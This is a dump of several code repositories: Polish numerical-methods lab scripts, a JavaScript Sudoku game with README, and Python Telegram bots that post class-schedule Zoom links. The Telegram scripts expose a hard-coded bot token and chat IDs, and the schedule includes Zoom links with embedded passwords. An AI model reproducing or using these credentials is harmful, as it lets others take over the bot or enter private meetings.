plt.plot(x,y,'bo',markersize=1) plt.show() # nasze rozwiazanie x = [] y = [] t = 0 x0 = 0 for j in np.arange(-1,1,0.01): n = (int) (math.fabs((j-t)/(math.pow(2,-7)))) dz = (math.fabs((j-t)/(math.pow(2,-7)))) h = (j-t)/dz a, b = runge_kutta_order_4( (lambda t,x: x/t + t*(1/math.cos(x/t))) ,t ,x0 ,h ,n) x.append(a) y.append(b) plt.plot(x,y,'ro',markersize=1) plt.show() # dla t = 1 n = (int) (math.fabs((1-t)/(math.pow(2,-7)))) h = (1-t)/n print("Wynik z rungego_kutty:") print(runge_kutta_order_4( (lambda t,x: x/t + t*(1/math.cos(x/t))) ,t ,x0 ,h ,n)) print("Dokładny wynik:") print(math.asin(1)) # c for h in [0.015, 0.02, 0.025, 0.03]: x = [] y = [] t = 0 x0 = 0 for j in np.arange(0,3,0.001): n = (int) (math.fabs((j-t)/h)) dz = (math.fabs((j-t)/h)) if dz != 0: h = (j-t)/dz a, b = runge_kutta_order_4( (lambda t,x: 100*(math.sin(t) - x)) ,t ,x0 ,h ,n) x.append(a) y.append(b) print("Dla h = ",h) plt.plot(x,y,'go',markersize=1) plt.show() # It needs four evaluations of the function f per step. Since it is equivalent to a Taylor series # method of order 4, it has truncation error of order O(h5). The small number of function # evaluations and high-order truncation error account for its popularity # zad 2 def signum(h): if h > 0: return 1 if h < 0: return -1 return 0 def runge_kutta_45(f,t,x,h): k1 = h*f(t,x) k2 = h*f(t + 0.25*h,x + 0.25*k1) k3 = h*f(t + 0.375*h,x + 0.09375*k1 + 0.28125*k2) k4 = h*f(t + 12/13*h,x + 1932/2197*k1 - 7200/2197*k2 + 7296/2197*k3) k5 = h*f(t + h, x + 439/216*k1 - 8*k2 + 3680/513*k3 - 845/4104*k4) k6 = h*f(t + 0.5*h, x + -8/27*k1 + 2*k2 - 3544/2565*k3 + 1859/4104*k4 - 0.275*k5) x4 = x + 25/216*k1 + 1408/2565*k3 + 2197/4104*k4 - 0.2*k5 x = x + 16/135*k1 + 6656/12825*k3 + 28561/56430*k4 - 0.18*k5 + 2/55*k6 t = t + h e = math.fabs(x - x4) return x,t,e a = 1.0 b = 1.5625 h = (b -a)/1000 x = 2.0 t = a f = lambda t,x : 2.0 + (x - t - 1.0)**2 for k in range(1,1000): x,t,e = runge_kutta_45(f,t,x,h) print(x,t,e) # 3.19293 7699. # print("elo") def adaptive_runge_kutta(f,t,x,h,tb,itmax,emax,emin,hmin,hmax): delta = 0.5*0.00001 iflag = 1 k = 0 while k <= itmax: k = k + 1 if math.fabs(h) < hmin: h = hmin* signum(h) if math.fabs(h) > hmax: h = hmax* signum(h) d = math.fabs(tb - t) if d <= math.fabs(h): iflag = 0 if d <= delta* max(math.fabs(tb),math.fabs(t)): break h = signum(h)*d xsave = x tsave = t x,t,e = runge_kutta_45(f,t,x,h) if iflag == 0: break if e < emin: h = 2*h if e > emax: h = h/2 x = xsave t = tsave k = k -1 return t,x X = [] Y = [] a = 0.0 tb = 10.0 x = 0.0 h = 0.01 t = 0.0 itmax = 1000 emax = 0.00001 emin = 0.00000001 hmax = 1.0 hmin = 0.000001 f = lambda t,x: 3 + 5*math.sin(t) + 0.2*x print(adaptive_runge_kutta(f,a,x,h,tb,itmax,emax,emin,hmin,hmax)) f_direct = lambda x: math.pow(x,3) - (9/2)*math.pow(x,2) + (13/2)*x print(f_direct(0.5)) # X = [] # Y = [] tb = 0.5 x = 6.0 t = 3.0 h = -0.000000001 itmax = 1000 emax = 0.000000001 emin = 0.0000000001 hmax = 1.0 hmin = 0.000000001 f = lambda t,x: 3*(x/t) + (9/2)*t - 13 print(adaptive_runge_kutta(f,t,x,h,tb,itmax,emax,emin,hmin,hmax)) <file_sep>/lab9/main.py from numpy.linalg import qr import numpy as np import math import matplotlib.pyplot as pyplot def gram_schmid_qr(A,n): A = np.array(A) for i in range(n): A[i] = np.array(A[i]) A = np.matrix.transpose(A) U0 = A[0]/np.linalg.norm(A[0]) U0 = np.array(U0) U = [] U.append(U0) for k in range(1,n): sum_vec = np.array([np.float(0) for l in range(n)]) for i in range(k): sum_vec = sum_vec + (np.dot(U[i],A[k])*U[i]) U.append(A[k] - sum_vec) U[k] = U[k]/np.linalg.norm(U[k]) Q =[] for i in range(n): Q.append(U[i]) Q = np.array(Q) Q = np.matrix.transpose(Q) R = [[0 for j in range(n)] for i in range(n)] for k in range(n): for i in range(k+1): R[i][k] = np.dot(U[i],A[k]) return Q,np.array(R) def are_equals(A,B, delta): for i,e in enumerate(A): for j,f in enumerate(A[i]): if(math.fabs(math.fabs(A[i][j]) - math.fabs(B[i][j])) > delta): return False return True for i in range(5): A = np.random.rand(i+1) print(A) Q,R = gram_schmid_qr(A,i+1) q,r = qr(A) print(Q) print(R) print() print(q) print(r) print("Are equals Q?: ",are_equals(Q,q,0.001)) print("Are equals R?: ",are_equals(R,r,0.001)) Matixes = [] cond_m = [] for i in range(500): strength = 10000 cond = (i+1)*strength S = np.random.rand(8,8) s,v,d = np.linalg.svd(S) v[7] = v[0]/cond M = np.dot(s,np.dot(np.diag(v),d)) Matixes.append(S) cond_m.append(cond) diff = [] # <NAME> for m in Matixes: Q, R = gram_schmid_qr(m,len(m)) I = np.diag([1 for i in range(8)]) dif = I - np.dot(np.matrix.transpose(Q),Q) suma = 0 for i in dif: for j in i: suma = suma + math.fabs(j*j) diff.append(math.sqrt(suma)) pyplot.plot(cond_m,diff,'ro',markersize=1) pyplot.show() print(diff) print(cond_m) def slove_qr(A,B): Q, R = gram_schmid_qr(A,len(A)) v = np.dot(np.matrix.transpose(Q),B) l = np.dot(np.dot(np.matrix.transpose(Q),Q),R) # back substitution for i in range(len(A)): v[i] = v[i]/l[i][i] l[i] = l[i]/l[i][i] for i in range(len(B) -1,-1,-1): print(i) for j in range(i+1,len(A)): v[i] = v[i] - v[j]*l[i][j] return v A = [[1,1,1],[1,2,3],[2,1,1]] b = [6,14,7] res = slove_qr(A,b) print(res) # aproksymacja sredniowadratowa N = 11 M = 3 x = [-5,-4,-3,-2,-1,0,1,2,3,4,5] y = [2,7,9,12,13,14,14,13,10,8,4] # https://eti.pg.edu.pl/documents/176593/26763380/Wykl_AlgorOblicz_3.pdf # Dane testowe z linku powyzej # N = 7 # M = 3 # x = [0,0.5,1,1.5,2,3,3.5] # y = [1.02,0.62,0.5,0.6,0.98,3.12,5.08] # Obliczanie współczynnikow s i t S = [] T = [] for i in range(0,2*M -1): suma = 0 for j in range(0,N): mult = 1 for k in range(0,i): mult *= x[j] suma += mult S.append(suma) for i in range(M): suma = 0 for j in range(0,N): mult = y[j] for k in range(0,i): mult *= x[j] suma += mult T.append(suma) # Ulozenie macierzy X = [] for i in range(M): X.append([]) for j in range(i,i+M): X[i].append(S[j]) print(X) A = slove_qr(X,T) print(A) c = A[0] b = A[1] a = A[2] func = lambda x : a*x*x + b*x + c res_x = [] res_y = [] start = min(x) -1 end = max(x) + 1 div = 1000 x_tmp = min(x) - 1 for i in range(div): res_x.append(x_tmp) res_y.append(func(x_tmp)) x_tmp += (end -start)/div pyplot.plot(res_x,res_y,'bo',markersize=1) pyplot.plot(x,y,'ro',markersize=2) pyplot.show()<file_sep>/lab3/zad2.py import numpy as np from scipy import linalg import imageio from PIL import Image def low_rank_approximation(k): image = Image.open("lenna.png") image = np.array(image) r_u,r_s,r_vh = np.linalg.svd(image[:,:,0]) g_u,g_s,g_vh = np.linalg.svd(image[:,:,1]) b_u,b_s,b_vh = np.linalg.svd(image[:,:,2]) r_u = np.matrix(r_u[:,:k]) g_u = np.matrix(g_u[:,:k]) b_u = np.matrix(b_u[:,:k]) r_s = np.diag(r_s[:k]) g_s = np.diag(g_s[:k]) b_s = np.diag(b_s[:k]) r_vh = np.matrix(r_vh[:k,:]) g_vh = np.matrix(g_vh[:k,:]) b_vh = np.matrix(b_vh[:k,:]) matrix_r = r_u * r_s * r_vh matrix_g = g_u * g_s * g_vh matrix_b = b_u * b_s * b_vh new_image = np.zeros((512,512,3), 'uint8') new_image[...,0] = matrix_r new_image[...,1] = matrix_g new_image[...,2] = matrix_b out_image = Image.fromarray(new_image) out_image.save("lenna_"+str(k)+".png") low_rank_approximation(1) low_rank_approximation(2) low_rank_approximation(4) low_rank_approximation(8) low_rank_approximation(16) low_rank_approximation(32) low_rank_approximation(64) low_rank_approximation(128) low_rank_approximation(256) low_rank_approximation(512)<file_sep>/lab6/circuit.py import networkx as nx import matplotlib.pyplot as plt import numpy as np # https://www.intmath.com/matrices-determinants/6-matrices-linear-equations.php def show_graph(G): # To show arrows G = G.to_directed() ebunch = [] for i,e in enumerate(G.edges): u, v = e if (u,v) not in ebunch and (v,u) not in ebunch: ebunch.append((u,v)) G.remove_edges_from(ebunch) pos = nx.planar_layout(G) nx.draw_planar(G, with_labels=True, font_weight='bold') labels = nx.get_edge_attributes(G, 'weight') nx.draw_networkx_edge_labels(G, pos=pos, with_labels=True, font_weight='bold', edge_labels=labels) plt.show() def show_matrix(mat): for i in mat: for j in i: print(j, end=' ') print() print() def find_current_kirchhoff(R_load, V_load): N = int(max([x[0] for x in R_load] + [x[1] for x in R_load]) + 1) K = len(R_load) R = nx.Graph() R.add_nodes_from([x for x in range(N)]) for e in R_load: R.add_edge(int(e[0]), int(e[1]), weight=e[2]) direct = [[0 for i in range(N)] for x in range(N)] resistance = [[0 for i in range(N)] for x in range(N)] voltage = [[0 for i in range(N)] for x in range(N)] edges = {} equations = [] m_row = 0 right_side = [] # zakladamy ze jak wczytujemy 1 2 8 too prad plynie od 1 do 2 z rezystancja 8 for i, e in enumerate(R_load): direct[int(e[0])][int(e[1])] = 1 direct[int(e[1])][int(e[0])] = -1 resistance[int(e[0])][int(e[1])] = e[2] resistance[int(e[1])][int(e[0])] = -e[2] # Indexing edges edges[(e[0], e[1])] = i edges[(e[1], e[0])] = i for e in V_load: voltage[int(e[0])][int(e[1])] = e[2] voltage[int(e[1])][int(e[0])] = -e[2] # II Kirchoff law cycles = nx.cycle_basis(R) for cycle in cycles: sum_voltage = 0 equations.append([0 for x in range(K)]) for i, node in enumerate(cycle): node_1 = cycle[i] node_2 = cycle[((i + 1) % len(cycle))] edge = edges[(node_1, node_2)] sum_voltage += voltage[node_1][node_2] equations[m_row][edge] = resistance[node_1][node_2] m_row += 1 right_side.append(sum_voltage) # I Kirchoff law for n, node in enumerate(direct): equations.append([0 for x in range(K)]) right_side.append(0) for n2, node_2 in enumerate(node): if node_2 != 0: equations[m_row][edges[(n, n2)]] = node_2 m_row += 1 print("Równania macierzowe") show_matrix(equations) print("Wektor napieć:") print(right_side) solution, x, y, z = np.linalg.lstsq(equations, right_side) print("Rozwiązanie:") print(solution) for (a, b) in R.edges: R[a][b]['weight'] = round(solution[edges[(a, b)]], 5) return R def open_graph(file_with_resistance, file_with_voltage): with open(file_with_resistance) as f: w, h = [float(x) for x in next(f).split()] R_load = [[float(x) for x in line.split()] for line in f] with open(file_with_voltage) as f: w, h = [float(x) for x in next(f).split()] V_load = [[float(x) for x in line.split()] for line in f] return R_load, V_load # R, V = open_graph('circuit_resistance.txt', 'curcuit_voltage.txt') G = find_current_kirchhoff(R, V) show_graph(G) R, V = open_graph('cube_resistance.txt', 'cube_voltage.txt') G = find_current_kirchhoff(R, V) show_graph(G) R, V = open_graph('2_random_with_bridge.txt', '2_random_with_bridge_voltage.txt') G = find_current_kirchhoff(R, V) show_graph(G) R, V = open_graph('2d_sieve_resistance.txt', '2d_sieve_voltage.txt') G = find_current_kirchhoff(R, V) show_graph(G)<file_sep>/lab7/main.py from numpy.linalg import eig, norm from random import randint import math import numpy as np import time import matplotlib.pyplot as plt import scipy.linalg as linalg epsilon = 0.0000001 inteartions = 99999 def show_matrix(mat): for i in mat: for j in i: print(j, end=' ') print() print() # zad 1 def get_matrx(size): A = [] for i in range(size): A.append([]) for j in range(size): A[i].append(randint(0,100)) return A def vector_normalization(vec): norm2 = norm(vec, ord=np.inf) return vec/norm2 def power_finding(size,A): x0 = np.array([1 for i in range(size)]) x0 = np.array(x0/norm(x0,np.inf)) out = False for i in range(inteartions): x1 = np.dot(A,x0) x2 = x1/norm(x1, np.inf) if norm(x2 - x0) < epsilon: out = True x0 = x2 if out: break return norm(x1, np.inf), x0/norm(x0) A = get_matrx(3) show_matrix(A) w, v = eig(A) print("Funcja biblioteczna:") print(w) print(v) print("Moja funckja:") print(power_finding(3,A)) A = get_matrx(5) show_matrix(A) w, v = eig(A) print("Funcja biblioteczna:") print(w) print(v) print("Moja funckja:") print(power_finding(5,A)) A = get_matrx(10) show_matrix(A) w, v = eig(A) print("Funcja biblioteczna:") print(w) print(v) print("Moja funckja:") print(power_finding(10,A)) def check_power_finding(): y = [] check_list = [x for x in range(100,2501,100)] for c in check_list: A = get_matrx(c) start = time.process_time() power_finding(c,A) end = time.process_time() print("Czas spedzony dla N = ",c,": ", end - start) y.append(end - start) plt.plot(check_list,y,'ro',markersize=1) plt.axis([0, 2600, 0.0, 5.0]) plt.show() # check_power_finding() # zad 2 def inverse_power_method(size,A,sig): x0 = np.array([1.5 for i in range(size)]) x0 = np.array(x0/np.linalg.norm(x0, ord=np.inf)) for i in range(size): A[i][i] = A[i][i] - sig out = False LU = linalg.lu_factor(A) for i in range(inteartions): # Musimy obliczyc x z równania Ax = y za pomoca LU x1 = linalg.lu_solve(LU, x0) x2 = x1/np.linalg.norm(x1, ord=np.inf) if norm(x2 - x0) < epsilon: out = True x0 = x2 if out: break return x1/norm(x1) def test_inverse_power_method(): A = get_matrx(3) show_matrix(A) w, v = eig(A) print("Funcja biblioteczna:") print(w) print(v) print("Moja funckja:") print("Dla sigmy równej w przybliżeniu: ", w[0]) print(inverse_power_method(3,A,w[0] + 0.0001)) print("Dla sigmy równej w przybliżeniu: ", w[1]) print(inverse_power_method(3,A,w[1] + 0.0001)) print("Dla sigmy równej w przybliżeniu: ", w[2]) print(inverse_power_method(3,A,w[2] + 0.0001)) test_inverse_power_method()
b24e7b337a74474a588153dd7d1f9635440cb748
[ "Python" ]
14
Python
RadekKpc/Mownit
cb2c7f48fb49ca19353cbe36516006b23148a011
5ea41c3e108a4296d256c11e338269185a105b81
refs/heads/master
<file_sep>// Sudoku Generator // Generates a sudoku board by random-morphing from an existing one var utils = require('./utilities.js'); var sudoku_generator = {}; // Base board to start the randomization sudoku_generator.baseBoard = [ [1, 2, 3, 4, 5, 6, 7, 8, 9], [4, 5, 6, 7, 8, 9, 1, 2, 3], [7, 8, 9, 1, 2, 3, 4, 5, 6], [2, 3, 4, 5, 6, 7, 8, 9, 1], [5, 6, 7, 8, 9, 1, 2, 3, 4], [8, 9, 1, 2, 3, 4, 5, 6, 7], [3, 4, 5, 6, 7, 8, 9, 1, 2], [6, 7, 8, 9, 1, 2, 3, 4, 5], [9, 1, 2, 3, 4, 5, 6, 7, 8] ]; // Generate a new board by randomizing the base board // Randomization will generate a random game from 3^8 (6561) possibilities // This requires morphing the board without breaking it // There are four methods that can be applied: // 1- Swapping two random rows in each of three groups (3^3 possibilities) // 2- Swapping two random columns in each of three groups (3^3 possibilities) // 3- Swapping all rows in two random groups (3^1 possibilities) // 4- Swapping all columns in two random groups (3^1 possibilities) sudoku_generator.newBoard = function(difficulty) { var newBoard = [], solution = []; // Clone the base board to a new board to start with for (var i = 0; i < this.baseBoard.length; i++) { newBoard[i] = this.baseBoard[i].slice(); } // Randomizations of the base board definition: // 1- Pick a random number between 0-2 and apply to the base board for (i = 0; i < 3; i++) { swapRowsInGroup(newBoard, i, utils.getDistinctRandoms([0, 1, 2], 2)); } // 2- Pick a random number between 0-2 and apply to the base board for (i = 0; i < 3; i++) { swapColsInGroup(newBoard, i, utils.getDistinctRandoms([0, 1, 2], 2)); } // 3- Pick a random number between 0-2 and apply to the base board swapRowsAmongGroups(newBoard, utils.getDistinctRandoms([0, 1, 2], 2)); // 4- Pick a random number between 0-2 and apply to the base board swapColsAmongGroups(newBoard, utils.getDistinctRandoms([0, 1, 2], 2)); // Clone and keep the solution before hiding the cells for the game board for (i = 0; i < newBoard.length; i++) { solution[i] = newBoard[i].slice(); } // Remove a certain number of cells depending on the difficulty // Easy: 50 remaining cells // Medium: 40 remaining cells // Hard: 30 remaining cells // return the new board setDifficulty(newBoard, difficulty); // return the board with the solution return { 'unresolved': newBoard, 'solution': solution }; }; // Swaps two rows in a horizontal group of three subtables var swapRowsInGroup = function(board, groupIdx, rows) { var offset = groupIdx * 3, idx1 = rows[0] + offset, idx2 = rows[1] + offset, swap; swap = board[idx1]; board[idx1] = board[idx2]; board[idx2] = swap; }; // Swaps two columns in a vertical group of three subtables var swapColsInGroup = function(board, groupIdx, cols) { var offset = groupIdx * 3, idx1 = cols[0] + offset, idx2 = cols[1] + offset, swap; for (var i = 0, l = board.length; i < l; i++) { swap = board[i][idx1]; board[i][idx1] = board[i][idx2]; board[i][idx2] = swap; } }; // Swaps all rows in two horizontal group of three subtables var swapRowsAmongGroups = function(board, groups) { var idx1 = groups[0] * 3, idx2 = groups[1] * 3, swap; for (var i = 0; i < 3; i++) { swap = board[idx1 + i]; board[idx1 + i] = board[idx2 + i]; board[idx2 + i] = swap; } }; // Swaps all columns in two vertical group of three subtables var swapColsAmongGroups = function(board, groups) { var idx1 = groups[0] * 3, idx2 = groups[1] * 3, swap; for (var i = 0, l = board.length; i < l; i++) { for (var k = 0; k < 3; k++) { swap = board[i][idx1 + k]; board[i][idx1 + k] = board[i][idx2 + k]; board[i][idx2 + k] = swap; } } }; // Sets the difficulty of a board by hiding a variable number of cell values // easy: Hide 27 cells (3 per row) // medium: Hide 36 cells (4 per row) // hard: Hide 45 cells (5 per row) var setDifficulty = function(board, difficulty) { // pick a certain number of random cells to hide from each row var count; switch (difficulty) { case 0: count = 3; break; case 1: count = 4; break; case 2: count = 5; break; default: count = 3; } // Randomly select rows in the difficulty amount // To hide the value in the cell is set to zero and not rendered on the page for (var i = 0, l = board.length; i < l; i++) { var row = board[i]; var toBeHidden = utils.getDistinctRandoms(row, count); for (var k = 0, m = toBeHidden.length; k < m; k++) { var num = toBeHidden[k]; for (var p = 0, r = row.length; p < r; p++) { if (row[p] === num) { board[i][p] = 0; break; } } } } }; module.exports = sudoku_generator; <file_sep>// Utility Functionalities var $ = require('jquery'); var utils = {}; // Builds a selector from the coordinates x and y. // Each cell in the board html has a unique selector, // which can be built from its coordinates in the board data. utils.buildSelector = function(x, y) { var selector = '.r-' + Math.floor(x / 3) + ' .st-' + Math.floor(y / 3) + ' .r-' + (x % 3) + ' .c-' + (y % 3); return selector; }; // Gets a the specified number of random elements from an array utils.getDistinctRandoms = function(array, count) { var items = array.slice(); var ret = []; if (items.length <= count) { // If there is not sufficient items in the array, return the array itself ret = items; } else { // Each randomly selected item is spliced from the array to exclude from the next pick for (var i = 0; i < count; i++) { ret.push(items.splice(Math.floor(Math.random() * items.length), 1)[0]); } } // Return randomly selected items return ret; }; // Validates a cell input by checking the row, the column and the subtable it belongs to utils.validateInput = function(value, coors, board) { // Check row for (var i = 0; i < board[coors.x].length; i++) { if (i === coors.y) { continue; } if (board[coors.x][i] === value) { return false; } } // Check column for (i = 0; i < board.length; i++) { if (i === coors.x) { continue; } if (board[i][coors.y] === value) { return false; } } // Check sub-table // Get sub table's top-left coordinates var topLeft_x = Math.floor(coors.x / 3) * 3 + coors.x % 3; var topLeft_y = Math.floor(coors.y / 3) * 3 + coors.y % 3; // Iterate the subtable for duplicate check for (i = topLeft_x; i < topLeft_x + 3; i++) { for (var k = topLeft_y; k < topLeft_y + 3; k++) { if (board[i][k] === value) { return false; } } } // Entry is valid return true; }; // Keydown callback to avoid multi-digit and non-numeric entries utils.oneDigitNumericOnly = function(e) { e.originalEvent.returnValue = false; var key = e.keyCode, value = String.fromCharCode(key), isNumeric = $.isNumeric(value); if (!isNumeric) { // We still need to check for tab, backspace, arrow keys etc. for non-numeric case if ((key >= 8 && key <= 27) || (key >= 33 && key <= 46) || (key >= 96 && key <= 105)) { e.originalEvent.returnValue = true; } } else { if (e.target.value.length === 0) { // cannot be more than one digits e.originalEvent.returnValue = true; } } }; // Validates the specied model's board fror completion // There are two validation rules: // 1- No errors on the board // 2- Sum of all values in the board adds up to 405 utils.validateCompletion = function(model) { var completed = false, sum = 0; if (model.errorCount === 0) { // No erros on the board // Add up all values for sum check for (var i = 0; i < 9; i++) { for (var k = 0; k < 9; k++) { sum += model.board[i][k]; } } if (sum === 405) { // Sum of all values is 405 // Board is complete completed = true; } } return completed; }; // Solves a game with the game's model.solution utils.solve = function(e) { var view = e.data.view; view.model.board = view.model.solution; view.render(); }; module.exports = utils; <file_sep>// Sudoku Game // Starts a sudoku game with the selected difficulty var $ = require('jquery'); var model = require('./sudoku-model.js'); var view = require('./sudoku-view.js'); var sudoku_game = {}; // Starts the game sudoku_game.start = function() { // initialize the view with a model view.init(model); // render the view to start the game view.render(); }; // Handler for difficulty change $('.difficulty .option').click(function(e) { var $target = $(e.target), $sibling; // if the options hasn't been selected already if (!$target.hasClass('selected')) { // select the new option $target.addClass('selected'); // check each sibling $target.siblings().each(function() { $sibling = $(this); // and remove the class if previously selected if ($sibling.hasClass('selected')) { $sibling.removeClass('selected'); } }); // re-start the game with the enw difficulty level sudoku_game.start(); } }); // Start the game sudoku_game.start(); <file_sep># Sudoku This repo represents a full front-end implementation of Sudoku game. For more information about Sudoku please refer to http://en.wikipedia.org/wiki/Sudoku ## How to run The product code has been deployed to github pages branch. Please open the below link to play the game: http://winbythenose.github.io/sudoku/ If you wish to run the game locally, please follow the steps: 1- Clone this repository to you local machine 2- Open the file index.html under 'build' folder ### When the game starts You can select a difficulty from easy, medium and hard. The difficulty of the game is determined by the number of empty cells. The more empty cells means the harder the game is. *Easy:* 27 empty cells (3 per row). *Medium:* 36 empty cells (4 per row). *Hard:* 45 empty cells (5 per row). ### When user enters a number Users can enter numbers only in empty cells. When a user enters a number, the game checks the validation of the number, which means no duplicates in the same row, column and sub-group. If the number is NOT valid, the cell will be highlighted to indicate the invalid number. If user re-enters valid number, or deletes the invalid number, the game will clear highlight. ### When user completes the board When a user enters all valid numbers and completes the board, the game will congratulate the user and give two options in a dialog: 1- Start a new game with the same difficulty. 2- Close the dialog and do not start a new game. A game can also be completed by click on the 'Solution?' button. ## Design and Development The design and development process of Sudoku game is based on two principles: **Simplistic UI design approach:** This approach is influenced by the black/white theming of Uber.com. The board background is black. Texts and boarders and white. This design gives an easy yet elegant feeling to the game. **Complete build system with easy deployment:** Grunt.js is used for the build system. This gives us a configurable build system around customizable tasks. You can find more information on these tasks below under 'Build' section. ### Build Platform Grunt.js gives us the flexibility around tasks. Each task is run during the build process to deploy to the build folder. These tasks are specific to the platform technologies chosen. You can find detailed informtaion for these technologies, reasonings behind them and trade-offs under the each topic below. #### Browserify Resolves the dependencies between modules and produces a bundle accordingly. The bundle is deployed under build/scripts for distribution. #### Concat Bundles the specified CSS files into one file and deploys under build/styles folder. There is definitely a possible improvent in the CSS part of the build system by using preprocessors, such as less or sass. #### Copy Copies the static files to the build folder. This is only for the skeleton html file (index.html) and the Jade runtime (jade-runtime.js). #### Jade Compiles the jade templates to JavaScript and copies to the templates/compiled directory in the source tree. These compiled files are then bundled with the rest of the JavaScript files by browserify. #### Watch Watches for any changes in the source tree to re-run the build. This tasks is for convenience and faster development. #### How to build In order to build the source code under src folder, you need to: 1- Clone the repo to your local machine. 2- Go to root folder (where gruntfile.js and package.json are located) 3- Run 'npm install' to install required libraries. You may need to run the command with 'sudo' if you see any access or write errors. 4- Run 'grunt' to build and start to 'watch'. This will listen to any changes made in the src folder and trigger a re-build. #### How to deploy To deploy the built resources, an NPM script is added to run a 'git subtree' commmand. This command rebases the gh-pages branch (where the live site is served from) from the specified deployment folder. To run this command you can type 'npm run deploy' while in the root folder in master branch. ### Architecture An Model-View approach is adopted when building the game. #### Game Sudoku-game.js defines a module that acts like a controller (or router in Backbone) to start the game when user navigates to the page. Game module also hooks up to the difficulty change to re-start the game when user picks another level of difficulty. #### Model Sudoku-model.js file defines the model of this architecture, which initiates and stores sudoku board data. #### View Sudoku-view.js file defines the view of this architecture, which handles all user interaction and input validations. #### Generator Sudoku-generator.js file defines a standalone module that generates Sudoku board variations from a base board with a given difficulty level. This component is leveraged by Sudoku-model to generate boards on demand. #### Utilities Utilities.js file defines a module which handles all the common and non-type-dependent tasks. Such tasks vary from validating a Sudoku board to picking random items from an array or numbers. #### External Libraries For certain functionality, third-party libraries has been used in the architecture. These are: 1- jQuery 2- jQuery UI 3- Jade Client Runtime 4- Base and Table componetns from Pure-css library ## Future Improvements Sudoku game has a solid infrastructure to improve and build upon. However due to limited time, I wasn't able to add all the things I wanted to add. We can categorize these improvements in two topics. ### Infrastructure **CSS preprocessors:** A CSS preprocessor will certainly be a huge improvement in the project infrastructure. It will allow the developer more flexibility when writing CSS. **Resource minification:** JavaScript and CSS resources are currently not minified or uglified during build process. By adding this functionality there will be a considerable amount of performance improvement, especially in mobile devices with slower connections. **Data binding:** Jade templates used in the game don't have a direct data-binding to the model. The board is rendered on the page from scratch everytime a game starts. A data binding between templates and the model would allow to generate the html with the values as opposed to adding them later. ### UI Design The simplistic approach demands the usage of less UI elements on the page. This has been the way of thinking during the development of the game. However there are still improvements without breaking this rule. **All possible values:** Entering a number in mobile devices can be little time-consuming. To improve this we can show the user all possible values when clicked/tapped on a cell. **Customizable difficulty levels:** Giving only three options for difficulty can become less challenging for the user after a certain time. We can provide a more customizable way of setting the difficulty, such as getting the number of empty cells from the user. <file_sep>// Sudoku Model // Initiates and stores sudoku board data var generator = require('./sudoku-generator.js'); var sudoku_model = {}; // full board to validate user input sudoku_model.solution = []; // Unresolved board that will be modified by the user sudoku_model.board = []; // Difficulty level // 0: Easy // 1: Medium // 2: Hard sudoku_model.difficulty = 0; // Track whether the board has any invalid entries sudoku_model.errorCount = 0; // Initialize the model // @difficulty (number): Level of difficulty. Easy: 0, Medium: 1 and Hard: 2 sudoku_model.init = function(difficulty) { // get a new board from the generator var newBoard = generator.newBoard(difficulty); // set the unresolved and solution boards this.board = newBoard.unresolved; this.solution = newBoard.solution; // reset the error count for future re-starts this.errorCount = 0; }; module.exports = sudoku_model;
ab8b70d76440d677b4867f1743580d5336157c6d
[ "JavaScript", "Markdown" ]
5
JavaScript
winbythenose/sudoku
a004b241715503d8c32e7ca04c18b90b07a30639
d22d8e377069360620ba46ad53bda92083e01e3a
refs/heads/master
<file_sep>import requests import custom_schedule import time import telepot def send(bot): chat_id = -1001367674629 bot.sendMessage(chat_id, "Started in FI-83! Time: " + (str(int(time.strftime("%H"))+3)+time.strftime(":%M")) + '\n Week: ' + str(int(time.strftime("%W")) % 2)) # bot.sendPhoto(chat_id, photo=open('1.jpg', 'rb')) def main(): bot = telepot.Bot("1112357683:AAHsOL-X4oOku65teNY074LZuHbHdIFfGSs") lessons = custom_schedule.create_schedule() send(bot) while True: time.sleep(1) for lesson in lessons: if lesson.day == time.strftime("%w") and lesson.time == (str(int(time.strftime("%H"))+3)+time.strftime(":%M")): if lesson.week == 3 or lesson.week == int(time.strftime("%W")) % 2: chat_id = -1001187367399 bot.sendMessage(chat_id, lesson.name + '\n' + lesson.zoom) # bot.pinChatMessage(chat_id = chat_id, message_id = message_id) if lesson.name == 'Мат.прога | Хмельницкий': bot.sendPhoto(chat_id, photo=open('2.jpg', 'rb')) # if message_id != None: time.sleep(70) if __name__ == '__main__': main()<file_sep>import requests import custom_schedule import time class TelegramBot(): def __init__(self, url): self.url = url # self.chat_id = -1001187367399 # chat_id = -1001367674629 def get_updates(self): response = requests.get(self.url + 'getUpdates') return response.json() def last_update(self): results = self.get_updates()['result'] last_updates = len(results) - 1 return results[last_updates] def get_last_chat_id(self): return self.last_update()['message']['chat']['id'] def send_message(self, text, chat_id): params = {'chat_id' : chat_id, 'text' : text} response = requests.post(self.url + 'sendMessage', data=params) return response def pin_message(self, message_id, chat_id): params = {'chat_id' : chat_id, 'message_id' : message_id, "disable_notification" : False} response = requests.post(self.url + 'pinChatMessage', data=params) return response # def send_photo(self, path, chat_id): # image = Image.open(path) # image.get # photo = open(path, 'rb') # photo. # params = {'chat_id' : chat_id, 'photo' : photo} # response = requests.post(self.url + 'sendMessage', data=params) # return response def send(bot): chat_id = -1001367674629 bot.send_message("Started in FI-83! Time: " + (str(int(time.strftime("%H"))+3)+time.strftime(":%M")) + '\n Week: ' + str(int(time.strftime("%W")) % 2), chat_id) # bot.send_photo('1.png', chat_id) def main(): bot = TelegramBot("https://api.telegram.org/bot1112357683:AAHsOL-X4oOku65teNY074LZuHbHdIFfGSs/") lessons = custom_schedule.create_schedule() send(bot) while True: time.sleep(1) for lesson in lessons: if lesson.day == time.strftime("%w") and lesson.time == (str(int(time.strftime("%H"))+3)+time.strftime(":%M")): if lesson.week == 3 or lesson.week == int(time.strftime("%W")) % 2: chat_id = -1001187367399 resp = bot.send_message(lesson.name + '\n' + lesson.zoom, chat_id) bot.pin_message(int(resp.json()["result"]["message_id"]), chat_id) if resp.status_code == 200: time.sleep(70) if __name__ == '__main__': main()<file_sep>class Lesson(): def __init__(self, name, week, day, time, zoom): self.name = name self.week = week # 0 - second, 1 - first , 2 - whatever self.day = day self.time = time self.zoom = zoom def create_schedule(): schedule = ( Lesson( name = 'СРОМ 2 (практика) | Черный Олег', week = 0, day = '1', time = "8:20", zoom = "https://us04web.zoom.us/j/2625120734?pwd=K0QrcXN4ekcrbDZKRW15Z1NVUSs3UT09"), Lesson( name = 'Теор.вер (лекция) | <NAME>', week = 3, day = '1', time = "10:15", zoom = "https://us02web.zoom.us/j/82324302808?pwd=<PASSWORD>VdldBV<PASSWORD>WjRCWHBR<PASSWORD>"), Lesson( name = 'Мат.мод (лекция) | Смирнов С.А', week = 3, day = '1', time = "12:10", 